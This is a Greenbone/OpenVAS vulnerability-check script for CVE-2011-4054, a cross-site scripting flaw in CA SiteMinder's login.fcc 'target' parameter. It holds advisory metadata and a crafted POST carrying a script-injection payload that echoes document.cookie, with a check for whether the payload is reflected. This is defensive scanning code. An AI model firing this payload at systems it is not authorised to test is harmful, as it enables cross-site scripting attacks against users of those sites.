CA SiteMinder 'target' Parameter Cross-Site Scripting Vulnerability

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.902800");
  script_version("2023-10-27T05:05:28+0000");
  script_cve_id("CVE-2011-4054");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_tag(name:"last_modification", value:"2023-10-27 05:05:28 +0000 (Fri, 27 Oct 2023)");
  script_tag(name:"creation_date", value:"2011-12-19 16:16:16 +0530 (Mon, 19 Dec 2011)");
  script_name("CA SiteMinder 'target' Parameter Cross-Site Scripting Vulnerability");

  script_xref(name:"URL", value:"http://secunia.com/advisories/47167");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/50962");
  script_xref(name:"URL", value:"http://securitytracker.com/id/1026394");
  script_xref(name:"URL", value:"http://www.kb.cert.org/vuls/id/713012");
  script_xref(name:"URL", value:"https://support.ca.com/irj/portal/anonymous/phpsupcontent?contentID={A7DA8AC2-E9B4-4DDE-B828-098E0955A344}");

  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to insert arbitrary HTML
  and script code, which will be executed in a user's browser session in the context of an affected site.");

  script_tag(name:"affected", value:"CA SiteMinder R6 SP6 CR7 and earlier
  CA SiteMinder R12 SP3 CR8 and earlier");

  script_tag(name:"insight", value:"The flaw is due to improper validation of user-supplied input passed
  to the 'target' POST parameter in login.fcc (when 'postpreservationdata' is
  set to 'fail'), which allows attackers to execute arbitrary HTML and script
  code in a user's browser session in the context of an affected site.");

  script_tag(name:"solution", value:"Upgrade to CA SiteMinder R6 SP6 CR8, R12 SP3 CR9 or later.");

  script_tag(name:"summary", value:"CA SiteMinder is prone to a cross-site scripting (XSS) vulnerability.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_analysis");
  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");

port = http_get_port(default:80);

host = http_host_name(port:port);

foreach dir (make_list_unique("/siteminderagent", "/siteminder", http_cgi_dirs(port:port)))
{

  if(dir == "/") dir = "";

  url = dir + "/forms/login.fcc";
  req = http_get(item:url, port:port);
  res = http_keepalive_send_recv(port:port, data:req);

  if("<title>SiteMinder" >< res)
  {
    postData = 'postpreservationdata=fail&target="><script>alert(document.' +
               'cookie)</script><"';
    req = string("POST ", url, " HTTP/1.1\r\n",
                 "Host: ", host, "\r\n",
                 "Content-Type: application/x-www-form-urlencoded\r\n",
                 "Content-Length: ", strlen(postData), "\r\n",
                 "\r\n", postData);

    ## Send crafted POST request and receive the response
    res = http_keepalive_send_recv(port:port, data:req);

    if(res =~ "^HTTP/1\.[01] 200" && '><script>alert(document.cookie)</script>' >< res)
    {
      security_message(port:port);
      exit(0);
    }
  }
}

exit(99);